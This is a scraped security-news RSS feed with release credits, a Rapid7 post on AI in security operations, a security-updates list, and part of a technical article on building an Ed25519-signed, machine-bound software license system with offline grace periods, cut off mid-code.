<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jplew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jplew">@jplew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Junass1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Junass1">@Junass1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justemu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justemu">@justemu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justin-cyhuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justin-cyhuang">@justin-cyhuang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JustinOhms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JustinOhms">@JustinOhms</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jvradahellys24-art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jvradahellys24-art">@jvradahellys24-art</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kaishi00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kaishi00">@kaishi00</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kangsoo-bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kangsoo-bit">@kangsoo-bit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kartik-mem0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kartik-mem0">@kartik-mem0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keiravoss94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keiravoss94">@keiravoss94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kenyonxu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kenyonxu">@kenyonxu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kernel-t1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kernel-t1">@kernel-t1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kewe63/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kewe63">@Kewe63</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KeyArgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KeyArgo">@KeyArgo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KiruyaMomochi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KiruyaMomochi">@KiruyaMomochi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kn8-codes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kn8-codes">@kn8-codes</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kolektori/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kolektori">@Kolektori</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kyzcreig/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kyzcreig">@Kyzcreig</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lazymonter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lazymonter">@Lazymonter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LehaoLin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LehaoLin">@LehaoLin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD,<br>
@libre-7, @LIC99, @LifeJiggy, @linyubin, @liuhao1024, @lkevincc0, @lkz-de, @loes5050, @londo161, @lubosxyz,<br>
@m24927605, @MaheshtheDev, @manus-use, @marco0158, @MarioYounger, @martinramos002-bot, @MattKotsenas,<br>
@max-chen, @MaxFreedomPollard, @maxmilian, @maxpetrusenko, @memosr, @Mibayy, @Minksgo, @mintybasil, @mkslzk,<br>
@mohamedorigami-jpg, @MorAlekss, @mrparker0980, @ms-alan, @namredips, @nankingjing, @natehale, @necoweb3,<br>
@neo-2026, @Nickperillo, @nightq, @nikshepsvn, @nnnet, @nocturnum91, @nodejun, @NousResearch, @nycomar,<br>
@OmarB97, @orbisai0security, @oreoluwa, @outsourc-e, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @p-andhika, @panghuer023, @Paperclip,<br>
@peetwan, @pefontana, @petrichor-op, @pinguarmy, @PINKIIILQWQ, @pmos69, @PolyphonyRequiem, @pprism13,<br>
@PRATHAMESH75, @professorpalmer, @pyxl-dev, @Que0x, @qWaitCrypto, @r266-tech, @RafaelMiMi, @Railway9784,<br>
@randomuser2026x, @rayjun, @rc-int, @rebel0789, @redactdeveloper, @riyas22, @rlaope, @rob-maron, @rodboev,<br>
@rodrigoeqnit, @rratmansky, @rrevenanttt, @ruangraung, @Ruzzgar, @ryo-solo, @s010mn, @Sahil-SS9,<br>
@SahilRakhaiya05, @SandroHub013, @Sanjays2402, @sasquatch9818, @ScotterMonk, @season179, @sgabel, @sgaofen,<br>
@sgtworkman, @shandian64, @shannonsands, @shashwatgokhe, @shawchanshek, @sherman-yang, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @SidUParis,<br>
@SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>, @soynchux, @spiky02plateau, @spjoes,<br>
@sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,<br>
@syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,<br>
@theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,<br>
@tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,<br>
@uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,<br>
@w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,<br>
@x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,<br>
@YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,<br>
@zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ</p>
<p>Also: Lucas Nicolas.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.19...v2026.7.1">v2026.6.19...v2026.7.1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 Myths About AI in the SOC Security Teams Need to Rethink]]></title>
<description><![CDATA[AI is now part of almost every conversation in security operations. Most teams are already investing in it, experimenting with it, or trying to understand where it fits. The challenge is not whether to adopt AI, but how to apply it in a way that actually improves outcomes.At the Rapid7 Global Cyb...]]></description>
<link>https://tsecurity.de/de/3639078/it-security-nachrichten/5-myths-about-ai-in-the-soc-security-teams-need-to-rethink/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639078/it-security-nachrichten/5-myths-about-ai-in-the-soc-security-teams-need-to-rethink/</guid>
<pubDate>Wed, 01 Jul 2026 18:10:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>AI is now part of almost every conversation in security operations. Most teams are already investing in it, experimenting with it, or trying to understand where it fits. The challenge is not whether to adopt AI, but how to apply it in a way that actually improves outcomes.</span></p><p><span>At the Rapid7 Global Cybersecurity Summit, the session</span><a href="https://www.brighttalk.com/webcast/10457/662820?utm_source=blog&amp;utm_medium=website&amp;utm_content=blog-4-post-summit&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng" target="_blank"><span><em> The AI Dilemma: Automating Defense Without Surrendering Judgment</em></span></a><span> explores how AI is being used in the SOC today, and where it creates real value in practice.</span></p><p><span>The discussion centers on a set of assumptions that often shape how teams approach AI, and why those assumptions do not always hold up in real environments.</span></p><h2>Myth 1: AI will replace analysts</h2><p><span>Across the session, there is a consistent focus on how AI supports investigation workflows by reducing repetitive work and surfacing relevant context, allowing analysts to focus on decisions that require judgment. AI helps teams move faster, but responsibility and accountability still sit with people. TL;DR, the role of the analyst is evolving, but it is not disappearing.</span></p><h2>Myth 2: More automation means better security outcomes</h2><p><span>Automation is valuable when it is applied in the right places. In practice, teams are finding the most benefit in areas such as enrichment, summarization, and triage, where large volumes of data need to be processed quickly. High-impact actions such as containment or configuration changes still require oversight, particularly when they can affect production systems or business operations.</span></p><h2>Myth 3: Speed is more important than transparency</h2><p><span>As adoption increases, trust becomes more important and analysts need to understand how a conclusion was reached before they act on it, especially in high-pressure situations. The session highlights how explainability builds confidence over time, allowing teams to rely on AI outputs without losing control of the decision-making process.</span></p><h2>Myth 4: AI is only about efficiency gains</h2><p><span>Efficiency is part of the story, but the impact runs deeper. AI helps connect signals across fragmented environments, reduces cognitive load, and supports more consistent decision-making. It also changes how teams approach investigation by making it easier to surface patterns and identify relationships that would be difficult to see manually.</span></p><h2>Myth 5: Attackers benefit more from AI than defenders</h2><p><span>Both attackers and defenders are learning how to use AI, and both are moving quickly. What matters for security teams is how they apply it within their own workflows. The session explores how AI strengthens detection, investigation, and response when it is integrated into existing processes rather than treated as a standalone capability.</span></p><h2>Where AI creates real value in the SOC</h2><p><span>Across the discussion, a clear pattern emerges. AI delivers the most value when it is applied to high-volume, context-heavy tasks, where it can process data, highlight signals, and recommend next steps. Analysts remain central to interpreting those signals, understanding intent, and deciding how to respond.</span></p><p><span>This balance between automation and oversight is what allows teams to scale their operations without losing confidence in their decisions. It also reflects how AI is being adopted across the industry, with most organizations maintaining moderate to high levels of human involvement as they build trust in these systems.</span></p><p><span>For SOC leaders, practitioners, and teams exploring AI, the session offers a grounded view of how these technologies are being applied today, and how that approach is continuing to evolve.</span></p><p><a href="https://www.brighttalk.com/webcast/10457/662820?utm_source=blog&amp;utm_medium=website&amp;utm_content=blog-4-post-summit&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng" target="_blank"><span>Watch the full session</span></a><span> to explore how transparent AI supports better decisions in the SOC and how teams are applying it in practice.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Business Cost of Alert Fatigue: How to Reduce Delays, Escalations for Your SOC as 70% Alerts are Uninvestigated]]></title>
<description><![CDATA[Alert fatigue is no longer just an analyst problem. It has become a business problem.  Every unnecessary investigation, delayed escalation, or manual validation consumes valuable SOC resources and extends the time real threats remain active. As organizations face growing alert volumes without pro...]]></description>
<link>https://tsecurity.de/de/3638965/it-security-nachrichten/the-business-cost-of-alert-fatigue-how-to-reduce-delays-escalationsfor-your-soc-as-70-alerts-are-uninvestigated/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638965/it-security-nachrichten/the-business-cost-of-alert-fatigue-how-to-reduce-delays-escalationsfor-your-soc-as-70-alerts-are-uninvestigated/</guid>
<pubDate>Wed, 01 Jul 2026 17:25:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Alert fatigue is no longer just an analyst problem. It has become a business problem.  Every unnecessary investigation, delayed escalation, or manual validation consumes valuable SOC resources and extends the time real threats remain active. As organizations face growing alert volumes without proportional team growth, reducing investigation time has become just as important as improving detection.  Let’s find […]</p>
<p>The post <a href="https://cybersecuritynews.com/the-business-cost-of-alert-fatigue/">The Business Cost of Alert Fatigue: How to Reduce Delays, Escalations for Your SOC as 70% Alerts are Uninvestigated</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (coreutils, galera and mariadb11.8, giflib, git-lfs, glibc, httpd, kernel, mariadb10.11, mod_md, perl-Archive-Tar, perl-IO-Compress, perl:5.32, rrdtool, ruby, ruby4.0, and thunderbird), Debian (debian-security-support, librabbitmq, and nginx), Fedora...]]></description>
<link>https://tsecurity.de/de/3638677/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638677/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 01 Jul 2026 15:40:11 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (coreutils, galera and mariadb11.8, giflib, git-lfs, glibc, httpd, kernel, mariadb10.11, mod_md, perl-Archive-Tar, perl-IO-Compress, perl:5.32, rrdtool, ruby, ruby4.0, and thunderbird), <b>Debian</b> (debian-security-support, librabbitmq, and nginx), <b>Fedora</b> (chromium, collectd, maradns, python-django-haystack, python-jupytext, varnish, varnish-modules, and vmod-querystring), <b>Oracle</b> (firefox, git-lfs, kernel, nginx:1.24, openssl, perl-Archive-Tar, perl-IO-Compress, and uek-kernel), <b>Red Hat</b> (container-tools:rhel8), <b>SUSE</b> (7zip, apache2, buildah, cifs-utils, curl, docker, exiv2-0_26, libonnxruntime1, libsoup, nodejs22, opensc, pacemaker, perl-Config-IniFiles, podman, sg3_utils, socat, tar, tracker, and xdg-desktop-portal), and <b>Ubuntu</b> (curl, hplip, libgd-perl, libssh2, libyang, ruby2.7, ruby3.0, ruby3.2, ruby3.3, and tar).]]></content:encoded>
</item>
<item>
<title><![CDATA[Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System…]]></title>
<description><![CDATA[Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System That Actually WorksHow DotScramble protects its Pro tier using Ed25519 cryptography — without phoning home on every launchA technical deep-dive into license system design for desktop applications — th...]]></description>
<link>https://tsecurity.de/de/3638150/hacking/asymmetric-signing-machine-fingerprinting-and-offline-grace-periods-building-a-license-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638150/hacking/asymmetric-signing-machine-fingerprinting-and-offline-grace-periods-building-a-license-system/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System That Actually Works</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*YN9I5rHkcktrdbyWgEKykg.png"></figure><h3>How DotScramble protects its Pro tier using Ed25519 cryptography — without phoning home on every launch</h3><p><em>A technical deep-dive into license system design for desktop applications — threat modelling, Ed25519 token verification, weighted hardware fingerprinting, and background revocation detection.</em></p><h3>The Problem With Most Desktop License Systems</h3><p>Most desktop software license systems fall into one of two failure modes.</p><p><strong>The naive implementation:</strong> a hardcoded or obfuscated license key string that the app compares against. Crack once, share forever. A single keygen posted to any forum defeats it permanently.</p><p><strong>The over-engineered implementation:</strong> online-only validation that calls home on every launch. Legitimate users can’t use the software on a plane, at a conference, or when the license server has a bad day. The result is user experience indistinguishable from DRM — with all the goodwill cost that implies.</p><p>DotScramble needed something in between: cryptographically sound, functional offline for days at a time, with server-enforced revocation when internet is available. This post covers how that system works.</p><h3>The Threat Model</h3><p>Before any implementation decisions, a clear adversary model:</p><p>Attack vectorRealistic?DefenceCopy .py source to another machineTrivialMachine fingerprinting + Cython binaryShare one API key across N machinesLikelyServer-side activation limit (max 2)Patch is_max_activated = True in sourceOne lineCython .so compilationForge a license token offlineRequires Ed25519 private keyAsymmetric signing — public key only in clientUse indefinitely without networkEasy7-day token TTL + background recheckRoll back system clock to extend tokenCleverMonotonic timestamp stored in SQLiteRevoked key continues workingSilentBackground 24h server recheck</p><p>The objective was not unbreakable DRM — that doesn’t exist for software running on user-controlled hardware. The objective was to make casual circumvention more expensive than purchasing a license, while making legitimate use completely frictionless.</p><h3>Why Ed25519</h3><p>The classical alternative is HMAC-SHA256 with a shared secret. The fundamental problem: if the client holds a shared secret, it can forge. You can obfuscate the secret, compile it into a binary, XOR it with a magic constant — but it’s still in there, and extraction is a solved problem.</p><p>Ed25519 eliminates the forgery surface entirely:</p><pre>Private key  →  lives only on the license server  →  signs tokens<br>Public key   →  hardcoded in the client binary    →  verifies tokens, cannot forge</pre><p>The mathematics of elliptic curve cryptography guarantee that knowledge of the public key reveals nothing useful about the private key. An attacker who fully reverses the client binary, extracts the public key, and understands the entire verification flow still cannot produce a valid signature. The only path to a forged token is compromising the server.</p><p>The public key in license_manager.py is 32 bytes:</p><pre>_ED25519_PUBLIC_KEY_B64 = "DQ0zJAi1S0c+NUhOP3050au9k5/fYwLU45ayTZIFVuI="</pre><p>This is the entire cryptographic boundary between the client and unlimited offline activation.</p><h3>Token Structure</h3><p>Every activated machine receives a <strong>signed license token</strong> — a compact, self-contained credential the app can verify locally without any network call.</p><p>Format: two Base64URL strings joined by .</p><pre>&lt;base64url(JSON payload)&gt;.&lt;base64url(Ed25519 signature)&gt;</pre><p>Payload structure:</p><pre>{<br>  "mid": "a3f1b2c9d4e5f6a7b8c9d0e1f2a3b4c5",<br>  "name": "FreeRave",<br>  "plan": "max",<br>  "exp": 1782000000<br>}</pre><ul><li>mid — the machine fingerprint (32 hex chars, SHA-256 of hardware identifiers)</li><li>name — displayed to the user on activation</li><li>plan — tier identifier ("max" = Pro)</li><li>exp — Unix timestamp expiry; server controls token lifetime</li></ul><p>The server signs the raw JSON bytes with its Ed25519 private key. The client verifies using the hardcoded public key, then checks expiry and machine binding. All three must pass.</p><h3>The Verification Function</h3><pre>def _verify_token(self, token: str) -&gt; Tuple[bool, dict]:<br>    try:<br>        from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey<br><br>parts = token.split(".")<br>        if len(parts) != 2:<br>            return False, {}<br>        payload_b64, sig_b64 = parts<br>        # Dynamic Base64 padding - JWT/URL-safe Base64 strips trailing '='<br>        # The expression (-len(s) % 4) gives: 0 if already padded, else 1-3<br>        def _b64dec(s: str) -&gt; bytes:<br>            return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))<br>        payload_bytes = _b64dec(payload_b64)<br>        sig_bytes     = _b64dec(sig_b64)<br>        pub_raw    = base64.b64decode(_ED25519_PUBLIC_KEY_B64)<br>        public_key = Ed25519PublicKey.from_public_bytes(pub_raw)<br>        public_key.verify(sig_bytes, payload_bytes)  # raises InvalidSignature on tamper<br>        payload = json.loads(payload_bytes.decode())<br>        # Gate 1: expiry<br>        if payload.get("exp", 0) &lt; time.time():<br>            return False, {}<br>        # Gate 2: machine binding<br>        if payload.get("mid", "") != self.generate_machine_id():<br>            return False, {}<br>        return True, payload<br>    except Exception:<br>        return False, {}</pre><p>Three gates in sequence. Fail any one, the token is rejected and local activation is cleared. The except Exception: return False, {} catch-all is intentional — any unexpected error (missing field, malformed base64, truncated token) is treated as a verification failure, not as a crash.</p><blockquote><strong><em>On the padding trick:</em></strong><em> URL-safe Base64 used in JWTs often strips trailing </em><em>= padding. </em><em>(-len(s) % 4) is a modular arithmetic shorthand that adds exactly the right number: if </em><em>len(s) % 4 == 0, adds 0; otherwise adds </em><em>4 - (len(s) % 4). This avoids an if/else chain and handles all cases correctly.</em></blockquote><h3>Machine Fingerprinting</h3><p>The machine ID is a 32-character hex string that must be <strong>stable across reboots</strong>, <strong>unique enough to distinguish machines</strong>, and <strong>cross-platform</strong>. The approach is a weighted combination of hardware identifiers, hashed to a fixed-length output:</p><pre>@staticmethod<br>def generate_machine_id() -&gt; str:<br>    factors: dict[str, str] = {}<br><br># Platform-specific hardware ID - primary anchor<br>    try:<br>        if platform.system() == "Linux":<br>            # /etc/machine-id: written once at OS install by systemd<br>            # Survives: reboots, kernel updates, VPN, hostname changes<br>            # Does not survive: full OS reinstall<br>            with open("/etc/machine-id") as f:<br>                factors["mid"] = f.read().strip()<br>        elif platform.system() == "Windows":<br>            import winreg<br>            key = winreg.OpenKey(<br>                winreg.HKEY_LOCAL_MACHINE,<br>                r"SOFTWARE\Microsoft\Cryptography"<br>            )<br>            # MachineGuid: equivalent to /etc/machine-id on Windows<br>            factors["mid"] = winreg.QueryValueEx(key, "MachineGuid")[0]<br>        elif platform.system() == "Darwin":<br>            import subprocess<br>            out = subprocess.check_output(<br>                ["ioreg", "-rd1", "-c", "IOPlatformExpertDevice"],<br>                stderr=subprocess.DEVNULL<br>            )<br>            for line in out.decode().splitlines():<br>                if "IOPlatformUUID" in line:<br>                    factors["mid"] = line.split('"')[-2]<br>                    break<br>    except:<br>        pass<br>    # Secondary factors - supplement if primary unavailable (e.g., container)<br>    try:<br>        factors["cpu"] = str(os.cpu_count() or 0)<br>    except:<br>        pass<br>    factors["os"] = platform.system()<br>    # MAC address - only if real hardware, not randomized<br>    try:<br>        mac_int = _uuid.getnode()<br>        # Bit 40 (the "locally administered" bit) is 1 for randomized MACs<br>        # Randomized MACs change on every boot - useless as a stable anchor<br>        if not (mac_int &gt;&gt; 40) &amp; 1:<br>            factors["mac"] = hex(mac_int)[2:].upper().zfill(12)<br>    except:<br>        pass<br>    # Sort for determinism regardless of which factors are available<br>    factor_str = "|".join(f"{k}:{v}" for k, v in sorted(factors.items()))<br>    return hashlib.sha256(factor_str.encode()).hexdigest()[:32]</pre><p><strong>Why </strong><strong>sorted(factors.items())?</strong> Dict insertion order in Python 3.7+ is deterministic, but only if the same keys are always inserted in the same order. If, for example, the MAC address is unavailable on one run (kernel randomization), the dict has fewer keys and the order changes. Sorting by key ensures the concatenated string — and therefore the hash — is identical regardless of which optional factors are present.</p><p><strong>The MAC randomization filter:</strong> Modern Linux privacy kernels and NetworkManager configurations use MAC address randomization. Bit 40 of the MAC integer is the “locally administered” bit — set to 1 for locally generated (randomized) addresses. Including a randomized MAC in the fingerprint would cause activation to break after every reboot. The bitmask check (mac_int &gt;&gt; 40) &amp; 1 filters these out.</p><p><strong>Container environments:</strong> In Docker or LXC, /etc/machine-id may not exist. The try/except blocks ensure graceful degradation — if the primary identifier is missing, the fingerprint falls back to CPU count + OS string + MAC (if available). This is a weaker fingerprint but still functional.</p><h3>The Activation Flow</h3><pre>User clicks "Activate Pro"<br>        │<br>        ▼<br>LocalAuthManager.start()<br>  → Binds to 127.0.0.1:0 (port 0 = OS assigns ephemeral port atomically)<br>  → Generates 32-byte CSRF state token via secrets.token_urlsafe(32)<br>        │<br>        ▼<br>webbrowser.open(<br>  "https://dotsuite.vercel.app/en/dashboard/dotscramble/auth?port=PORT&amp;state=STATE"<br>)<br>        │<br>        ▼<br>User authenticates in browser, clicks "Activate"<br>        │<br>        ▼<br>Dashboard: POST http://127.0.0.1:PORT/callback<br>  Body: { "key": "&lt;api_key&gt;", "state": "&lt;state_token&gt;" }<br>        │<br>        ▼<br>AuthHandler.do_POST()<br>  → Content-Length check: reject if &gt; 4096 or ≤ 0  (OOM DoS prevention)<br>  → secrets.compare_digest(received_state, expected_state)  (CSRF check)<br>  → on_key_received(api_key) called<br>        │<br>        ▼<br>LicenseManager.verify_and_activate(api_key)<br>  → POST https://dotsuite-core-production.up.railway.app/v1/license/activate<br>     Authorization: Bearer &lt;api_key&gt;<br>     Body: { "machine_id": "a3f1b2..." }<br>        │<br>        ▼<br>Server validates key, checks activation count (≤ 2 machines), signs token<br>Returns: { "license_token": "&lt;payload&gt;.&lt;sig&gt;", "name": "FreeRave" }<br>        │<br>        ▼<br>Client: _verify_token(token)<br>  → Signature valid (Ed25519)<br>  → Not expired (exp &gt; time.time())<br>  → Machine matches (mid == generate_machine_id())<br>        │<br>        ▼<br>Token + API key saved to SQLite<br>Background recheck thread started (24h cycle)</pre><h4>The Local HTTP Server as a Security Boundary</h4><p>The browser-to-desktop callback is not a direct function call — it goes through a local HTTP server. This is not over-engineering. The HTTP boundary enforces:</p><ol><li><strong>CSRF protection:</strong> The state token is generated fresh on each activation attempt and compared using secrets.compare_digest() (constant-time, timing-attack resistant). Any page other than the DotSuite dashboard that tries to POST to the local server will fail state verification.</li><li><strong>Payload size cap:</strong> The server rejects any POST body over 4096 bytes with HTTP 413. An API key is at most a few hundred bytes — there’s no legitimate reason for a larger payload.</li><li><strong>Port 0 binding:</strong> Binding to port 0 lets the OS assign an available ephemeral port atomically. The alternative — picking a fixed port and checking if it’s free — is a TOCTOU race condition. Port 0 eliminates the race.</li></ol><pre># Constant-time comparison — prevents timing oracle on state token<br>def verify_state(self, state):<br>    if not state or not self.state_token:<br>        return False<br>    return secrets.compare_digest(state, self.state_token)</pre><p>secrets.compare_digest() matters here because the comparison happens over localhost HTTP. A timing oracle on a 32-character token over loopback is a marginal attack in practice, but it costs nothing to use the correct primitive.</p><h3>Offline Grace and Startup Verification</h3><p>After activation, the token is cached in SQLite. Every subsequent startup re-verifies locally — no network call required:</p><pre>def __init__(self, db_manager):<br>    # ...<br>    if self._license_token:<br>        last_verified = float(<br>            self.db_manager.get_setting("last_license_check_time", 0.0)<br>        )<br>        current_time = time.time()<br><br># Clock rollback detection<br>        # If current_time &lt; last_verified, the clock was moved backward<br>        # This could be used to prevent token expiry - reject it<br>        if current_time &lt; last_verified:<br>            self.logger.error("System clock rollback detected on startup!")<br>            self._clear_local()<br>        else:<br>            valid, _ = self._verify_token(self._license_token)<br>            if valid:<br>                self._is_max = True<br>                self.db_manager.save_setting(<br>                    "last_license_check_time", current_time, "license"<br>                )<br>                self._schedule_background_recheck()<br>            else:<br>                self._clear_local()</pre><p><strong>Clock rollback attack:</strong> If a user manually sets their system clock backward, time.time() returns a value earlier than the stored last_license_check_time. The check current_time &lt; last_verified detects this and immediately deactivates. The stored timestamp acts as a ratchet — it can only move forward.</p><p><strong>The 7-day grace period</strong> is implicit in the token’s exp field. The server sets expiry 7 days from activation (or last successful recheck). An offline machine can use the software freely for 7 days before the token expires and the local check fails.</p><h3>Background Revocation Detection</h3><p>Local verification is fast and works offline, but it cannot detect revoked keys. A key that was refunded, chargebacked, or administratively revoked would continue to pass local Ed25519 verification until its token expires.</p><p>The background recheck thread addresses this:</p><pre>def _schedule_background_recheck(self):<br>    self.stop_recheck_event.clear()<br>    t = threading.Thread(<br>        target=self._recheck_loop,<br>        daemon=True,           # dies with the main process<br>        name="license-recheck"<br>    )<br>    t.start()<br><br>def _recheck_loop(self):<br>    while not self.stop_recheck_event.is_set():<br>        # Event.wait(timeout) instead of time.sleep():<br>        # wakes immediately on stop_recheck_event.set(), enabling clean shutdown<br>        is_stopped = self.stop_recheck_event.wait(_RECHECK_HOURS * 3600)<br>        if is_stopped or self.stop_recheck_event.is_set():<br>            break<br>        self._silent_recheck()</pre><p>The recheck itself is silent — no UI notification, no interruption:</p><pre>def _silent_recheck(self):<br>    with self.lock:<br>        if not self._is_max:<br>            return<br>        current_key = self._api_key<br>    try:<br>        machine_id    = self.generate_machine_id()<br>        payload_bytes = json.dumps({"machine_id": machine_id}).encode()<br>        req = urllib.request.Request(<br>            _RECHECK_URL, data=payload_bytes,<br>            headers={<br>                "Authorization": f"Bearer {current_key}",<br>                "Content-Type": "application/json"<br>            }<br>        )<br>        with urllib.request.urlopen(req, timeout=10) as resp:<br>            data      = json.loads(resp.read().decode())<br>            new_token = data.get("license_token", "")<br><br>valid, _ = self._verify_token(new_token)<br>        if valid:<br>            with self.lock:<br>                